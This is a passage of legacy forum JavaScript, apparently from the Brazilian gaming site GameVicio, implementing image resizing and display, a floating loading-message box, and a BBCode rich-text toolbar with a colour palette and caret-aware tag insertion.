				s = '<a href="' + im.getUrl() + '" title="Clique para ampliar esta imagem">'+im.getHTMLBasic(a["width"],a["height"])+'</a>';
			}else{
				s = im.getHTMLBasic(im.getWidth(),im.getHeight());
			}
			return s;
		},
		write: function(maxWidth,maxHeight,url,done){
			var s;
			if (done == true){
				s = im.getHTMLAdvanced(maxWidth,maxHeight,url);
			}else{
				s = '<a href="'+im.getUrl()+'">'+im.getUrl()+'</a>' + im.getHeight();
			}
			document.write(s);
		},
		GVCode:function(maxWidth,maxHeight){
			im.onLoad = im.write(maxWidth,maxHeight,true);
			im.onError('document.write(<a href="'+im.getUrl()+'">'+im.getUrl()+'</a>');
			im.load();
		},
		onLoad: function(s){
			eval(s);
		},

		onError: function(s){
			eval(s);
		}
	}
	im.setUrl(url);
	return im;
}

function showImage2(divId,url,maxWidth,maxHeight,urlExternal){

	var g = new gImage(url);
	g.onLoad = function(){
		var s;
		//com a url
		if (urlExternal){
			var a = g.getResizedDimension(maxWidth,maxHeight);

			s = '<a target="_blank" href="'+urlExternal+'"><img src="'+url+'" width="'+a["width"]+'" height="'+a["height"]+'" /></a>';

			/*if (g.needResizeDimension(maxWidth,maxHeight)){
			var a = g.getResizedDimension(maxWidth,maxHeight);
				s = '<a target="_blank" href="'+urlExternal+'">'+g.getHTMLBasic(a["width"],a["height"])+'</a>';
			}else{
				s = '<a target="_blank" href="'+urlExternal+'">' + g.getHTMLBasic(g.getWidth(),g.getHeight()) + '</a>';
			}*/
		}else{
			if (g.needResizeDimension(maxWidth,maxHeight)){
				var a = g.getResizedDimension(maxWidth,maxHeight);
				s = '<a target="_blank" href="'+g.getUrl()+'" title="Clique para ampliar">'+g.getHTMLBasic(a["width"],a["height"])+'</a>';
			}else{
				s = g.getHTMLBasic(g.getWidth(),g.getHeight());
			}
		}
		global.div.Write(divId,'<div align="center">'+s+'</div>');

	}
	g.onError = function(){
		var s;
		s = '<a target="_blank" href="'+g.getUrl()+'>'+g.getUrl()+'</a>';
		global.div.Write(divId,s);
	}
	g.load();
}

var gLoader = new Object();
gLoader = {
	message: null,
	timerId:null,
	setMessage: function(s){
		gLoader.message = s;
	},
	getMessage: function(){
		return gLoader.message;
	},
	show: function(message,type,secondsToClose){
		//fecha o que estiver aberto e mata timers
		gLoader.close();
		//redimensionar baseado na quantiade de caracteres
		var size = message.length;
		//type: progress (com pontinhos),  info: sem nada por enqto
		if (type=='progress'){
			message+= '<img align="absmiddle" src="http://s1.gamevicio.com.br/images/loading_dots.gif" width="12" height="16"/>';
		}
		gLoader.setMessage(message);
		gLoader.build();
		gLoader.resize(size);
		global.div.Write('GVLoaderContent',gLoader.getMessage());
		if (secondsToClose!=null){
			gLoader.autoClose(secondsToClose);
		}
	},
	resize: function(charNumber){
		var d = document.getElementById('GVLoaderContent');
		if (d!=null){
			d.style.width = (charNumber * 9) + 'px'
		}
	},
	autoClose: function(seconds){
		gLoader.timerId = setTimeout('gLoader.close()',seconds*1000);
	},
	close: function(){
		if (document.getElementById('GVLoader')!=null){
			global.div.Shrink('GVLoader',2);
		}
		if (gLoader.timerId!=null){
			clearTimeout(gLoader.timerId);
		}
	},
	iebody: function (){
    	return (document.compatMode != "BackCompat"? document.documentElement : document.body);
	},
	build: function(){
		if (document.getElementById('GVLoader')==null){
			var d = document.createElement("div");
			d.setAttribute('id','GVLoader');
			if (document.body!=null){
				document.body.appendChild(d);
			}
			//aplicar estilo no div externo
			with (d.style){
				position = 'fixed';
				top = '0px';
				width = '100%';
				background = 'transparent';
				textAlign = 'center';
			}

			var e = document.createElement("div");
			e.setAttribute('id','GVLoaderContent');
			d.appendChild(e);
			//aplicar estilo no div interno
			with (e.style){
				color = '#000000';
				fontWeight = 'bold';
				fontSize = '110%';
				width = '300px';
				background = 'LightGoldenRodYellow ';
				padding = '10px';
				margin = '0 auto';
			}
			//gLoader.scroll();
			//global.event.addScroll(gLoader.scroll);
		}
		global.div.Shrink('GVLoader',1);
	},
	scroll: function(){
		var obj = document.getElementById('GVLoader');
		if (obj!=null){
			with (obj.style){
				top = gLoader.iebody().scrollTop + 'px';
			}
		}
	}
}

var gRichText = new Object();
gRichText = {
	textArea: null,
	form:null,
	start: function(formId){
		var form;
		if (!formId.elements){
			if (!document.forms[formId]){
				return;
			}else{
				form = document.forms[formId];
			}
		}else{
			form = formId;
		}
		form.className = "grt";
		gRichText.setForm(form);
		gRichText.findTextAreaInForm();
		gRichText.toolbar.start();
		gRichText.textAreaEvent.start();
		gRichText.appendCSS();
	},
	findTextAreaInForm: function(){
		var o = gRichText.getForm();

		var d = o.getElementsByTagName('textarea');

		if (d){
			gRichText.setTextArea(d[0]);
			return;
		}

		/*for (var n = 0; n != o.elements.length; n++) {
			if (o.elements[n].type=='textarea'){
				gRichText.setTextArea(o.elements[n]);
				return;
			}
	    }*/
	    throw('Não foi encontrado um objeto textarea no form');
	},
	setTextArea: function(o){
		gRichText.textArea = o;
	},
	getTextArea: function(){
		return gRichText.textArea;
	},
	setForm: function(o){
		gRichText.form = o;
	},
	getForm: function(){
		return gRichText.form;
	},
	textAreaEvent:{
		start: function(){
			gRichText.textAreaEvent.all();
		},
		all: function(){
			var text = gRichText.getTextArea();
			text.onchange = function(){gRichText.textAreaEvent.storeCaret()};
			text.onkeyup = function(){gRichText.textAreaEvent.storeCaret()};
			text.onclick = function(){gRichText.textAreaEvent.storeCaret()};
			text.onselect = function(){gRichText.textAreaEvent.storeCaret()};
		},
		storeCaret: function (){
			var text = gRichText.getTextArea();
			// Only bother if it will be useful.
			if (typeof(text.createTextRange) != "undefined"){
				text.caretPos = document.selection.createRange().duplicate();
			}
		}
	},
	toolbar: {
		ID: 'gRToolbar',
		start: function(){
			with (gRichText.toolbar){
				create();
				showButton();
				palette.start();
			}
		},
		create: function(){
			if (document.getElementById(gRichText.toolbar.ID)){
				return;
			}
			var d = document.createElement('div');
			d.setAttribute('id',gRichText.toolbar.ID);
			with (d.style){
				width = '100%';
				overflow = 'hidden';
			}
			//gRichText.getForm().insertBefore(d,gRichText.getTextArea());
			gRichText.getTextArea().parentNode.insertBefore(d,gRichText.getTextArea());
		},
		showButton: function(){
			var a = new Array(
				'[b];[/b];B;Negrito;b',
				'[i];[/i];I;Itálico;i',
				'[u];[/u];U;Sublinhado;u',
				'[s];[/s];S;Rasurado;s',
				'-',
				'[url];[/url];URL;Inserir link;url',
				'[email];[/email];EMAIL;Inserir e-mail;email',
				'-',
				'[img];[/img];IMG;Inserir imagem;img',
				'[youtube];[/youtube];YOUTUBE;Inserir vídeo do Youtube;youtube',
				'[flash=largura{}altura];[/flash];FLASH;Inserir um conteúdo em flash;flash',
				'-',
				'color',
				'[t1];[/t1];T1;Título principal;t1',
				'[t2];[/t2];T1;Título secundário;t2',
				'-',
				'[table];[/table];TABLE;Inserir tabela;table',
				'[list];[/list];LIST;Inserir lista;list',
				'[hr];;HR;Régua horizontal;hr',
				'-',
				'[code];[/code];CODE;Inserir código;code',
				'[quote];[/quote];QUOTE;Inserir citação;quote',
				'[spoiler];[/spoiler];SPOILER;Inserir spoiler;spoiler'
			);
			var s = '';
			var b = new Array();
			var item = new Array();
			for(var n=0;n!=a.length;n++){
				//splinter?
				if (a[n]=='-'){
					b.push('<div class="splitter"></div>');
					continue;
				}
				//cor
				if (a[n]=='color'){
					s = '';
					//s+=gRichText.toolbar.palette.get();
					s+= '<div class="button">';
					s+= '<div class="button color" title="Cor da fonte" onclick="gRichText.toolbar.palette.shrink(this)"></div>';
					s+= '</div>';//button
					b.push(s);
					continue;
				}

				item = a[n].split(';');
				s = '';
				s+= '<div class="button">';
				s+= '<div class="button '+item[4]+'" title="'+item[3]+'" onclick="gRichText.text.surround(\''+item[0].replace('{}',';')+'\',\''+item[1]+'\')"></div>';
				s+= '</div>';//button

				//b.push('<a href="javascript:void(0)" onclick="gRichText.text.surround(\''+item[0]+'\',\''+item[1]+'\')" title="'+item[3]+'">['+item[2]+']</a>');
				b.push(s);
			}
			s = b.join('&nbsp;');
			global.div.Write(gRichText.toolbar.ID,s);
		},
		palette:{
			ID: 'gRPalette',
			idTimer:null,
			start: function(){
				gRichText.toolbar.palette.create();
			},
			apply: function(color){
				gRichText.text.surround('[color='+color+']','[/color]');
				gRichText.toolbar.palette.hide();
			},
			create: function(){
				if (document.getElementById(gRichText.toolbar.palette.ID)){
					return;
				}

				var d = document.createElement('div');
				d.setAttribute('id',gRichText.toolbar.palette.ID);
				d.className = 'palette';
				with (d.style){
					display = 'none';
				}

				document.getElementById(gRichText.toolbar.ID).appendChild(d);
				//document.body.appendChild(d);
				//preenchimento
				var a = new Array(
					'#FFFFFF','#CCCCCC','#C0C0C0','#999999','#666666','#333333','#000000',
					'#FCCCCC','#FF6666','#FF0000','#CC0000','#990000','#660000','#330000',
					'#FFCC99','#FF9966','#FF9900','#FF6600','#CC6600','#993300','#663300',
					'#FFFF99','#FFFF66','#FFCC66','#FFCC33','#CC9933','#996633','#663333',
					'#FFFFCC','#FFFF33','#FFFF00','#FFCC00','#999900','#666600','#333300',
					'#99FF99','#66FF99','#33FF33','#33CC00','#009900','#006600','#003300',
					'#99FFFF','#33FFFF','#66CCCC','#00CCCC','#339999','#336666','#003333',
					'#CCFFFF','#66FFFF','#33CCFF','#3366FF','#3333FF','#000099','#000066',
					'#CCCCFF','#9999FF','#6666CC','#6633FF','#6600CC','#333399','#330099',
					'#FFCCFF','#FF99FF','#CC66CC','#CC33CC','#993399','#663366','#330033'
				);
				var s = '';
				for(var n=0;n!=a.length;n++){
					s+='<div class="line">';
					for(var i=0;i!=7;i++){
						if (a[n]){
							s+='<div class="item" style="background-color:'+a[n]+'" onclick="gRichText.toolbar.palette.apply(\''+a[n]+'\')" onmouseover="gRichText.toolbar.palette.colorOnMouseOver()" onmouseout="gRichText.toolbar.palette.colorOnMouseOut()"></div>';
						}
						n++;
						if (n==a.length){
							break;
						}
					}
					n--;
					s+='</div>';
					if (n==a.length){
						break;
					}
				}

				global.div.Write(gRichText.toolbar.palette.ID,s);
			},
			show: function(){
				global.div.Shrink(gRichText.toolbar.palette.ID,1);
			},
			hide: function(){
				global.div.Shrink(gRichText.toolbar.palette.ID,2);
			},
			colorOnMouseOut: function(){
				clearTimeout(gRichText.toolbar.palette.idTimer);
				gRichText.toolbar.palette.idTimer = self.setTimeout('gRichText.toolbar.palette.hide()',1000);
			},
			colorOnMouseOver: function(){
				clearTimeout(gRichText.toolbar.palette.idTimer);
			},
			shrink: function(obj){
				var d = document.getElementById(gRichText.toolbar.palette.ID);
				if (d.style.display==""){
					gRichText.toolbar.palette.hide();
					return;
				}
				//posicionar
				//alert(obj.parentNode);
				var p = gRichText.toolbar.palette.findPosition(obj);
				var p1 = new Array(0,0);
				var pt;
				var g = obj;
				//logica gvziana, pegar o pai mais externo para gerar a posição absoluta
				while(true){
					g = g.parentNode;
					pt = gRichText.toolbar.palette.findPosition(g);
					if (pt[0]==0 && pt[1]==0){
						break;
					}
					p1 = pt;
				}

				d.style.left = p[0]-p1[0]+'px';
				d.style.top = p[1]-p1[1]+22+'px';
				gRichText.toolbar.palette.show();
			},
			findPosition: function (obj) {
				var curleft = curtop = 0;
				if (obj.offsetParent) {
				        curleft = obj.offsetLeft
				        curtop = obj.offsetTop
				        while (obj = obj.offsetParent) {
				                curleft += obj.offsetLeft
				                curtop += obj.offsetTop
				        }
				}
				return [curleft,curtop];
			}
		}
	},
	text: {
		set: function(s){
			gRichText.getTextArea().value = s;
		},
		get: function(){
			return gRichText.getTextArea().value;
		},
		addInEnd: function(s){
			gRichText.text.set(gRichText.text.get()+ s);
		},
		surround:function (text1, text2){
			textarea = gRichText.getTextArea();
			// Can a text range be created?
			if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
			{
				var caretPos = textarea.caretPos, temp_length = caretPos.text.length;

				caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text1 + caretPos.text + text2 + ' ' : text1 + caretPos.text + text2;

				if (temp_length == 0)
				{
					caretPos.moveStart("character", -text2.length);
					caretPos.moveEnd("character", -text2.length);
					caretPos.select();
				}
				else
					textarea.focus(caretPos);
			}
			// Mozilla text range wrap.
			else if (typeof(textarea.selectionStart) != "undefined")
			{
				var begin = textarea.value.substr(0, textarea.selectionStart);
				var selection = textarea.value.substr(textarea.selectionStart, textarea.selectionEnd - textarea.selectionStart);
				var end = textarea.value.substr(textarea.selectionEnd);
				var newCursorPos = textarea.selectionStart;
				var scrollPos = textarea.scrollTop;

				textarea.value = begin + text1 + selection + text2 + end;

				if (textarea.setSelectionRange)
				{
					if (selection.length == 0)
						textarea.setSelectionRange(newCursorPos + text1.length, newCursorPos + text1.length);
					else
						textarea.setSelectionRange(newCursorPos, newCursorPos + text1.length + selection.length + text2.length);
					textarea.focus();
				}
				textarea.scrollTop = scrollPos;
			}
			// Just put them on the end, then.
			else
			{
				textarea.value += text1 + text2;
				textarea.focus(textarea.value.length - 1);
			}
		},
		replace: function(text){
			textarea = gRichText.getTextArea();
			// Attempt to create a text range (IE).
			if (typeof(textarea.caretPos) != "undefined" && textarea.createTextRange)
			{
				var caretPos = textarea.caretPos;

				caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
				caretPos.select();
			}
			// Mozilla text range replace.
			else if (typeof(textarea.selectionStart) != "undefined")
			{
				var begin = textarea.value.substr(0, textarea.selectionStart);
				var end = textarea.value.substr(textarea.selectionEnd);
				var scrollPos = textarea.scrollTop;

				textarea.value = begin + text + end;

				if (textarea.setSelectionRange)
				{
					textarea.focus();
					textarea.setSelectionRange(begin.length + text.length, begin.length + text.length);
				}
				textarea.scrollTop = scrollPos;
			}
			// Just put it on the end.
			else
			{
				textarea.value += text;
				textarea.focus(textarea.value.length - 1);
			}
		}
	},
	appendCSS: function(){
		var id = 'gtr_css';
		if (document.getElementById(id)){
			return;
		}

		var d = document.createElement('link');
		d.setAttribute('id',id);
		d.setAttribute('rel','stylesheet');
		d.setAttribute('type','text/css');
		d.setAttribute('href','http://s1.gamevicio.com.br/forum/misc/css/grt.css');


		var head = document.getElementsByTagName('head')[0];
		head.appendChild(d);
	}
}